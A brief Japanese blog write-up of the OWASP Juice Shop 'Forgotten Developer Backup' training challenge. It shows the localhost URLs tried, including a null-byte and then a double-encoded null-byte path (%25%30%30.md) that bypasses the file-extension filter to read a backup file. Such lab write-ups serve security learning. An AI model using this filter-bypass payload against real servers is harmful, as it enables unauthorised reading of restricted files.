Juice ShopのForgotten Developer Backupをやってみた

Hello there, ('ω')ノ

開発者の忘れたバックアップファイルにアクセスしなさいと。

以前、Access Logのチャレンジでわかったファイルのディレクトリへ。

　http://localhost:3000/ftp

それらしいバックアップファイルを開こうとすると。

　http://localhost:3000/ftp/package.json.bak

mdファイルは開けるようなので。

拡張子にmdを指定して。

その前にヌルバイトを入れて.mdの文字を切り捨てることに。

レスポンスのエラーコードが変わるだけで。

　http://localhost:3000/ftp/package.json.bak%00.md

はじめに試すのはエンコードで。

再度、アクセスしてみると。

　http://localhost:3000/ftp/package.json.bak%25%30%30.md

バックアップファイルを読み込むことができて。

クリアできた。

Best regards, (^^ゞ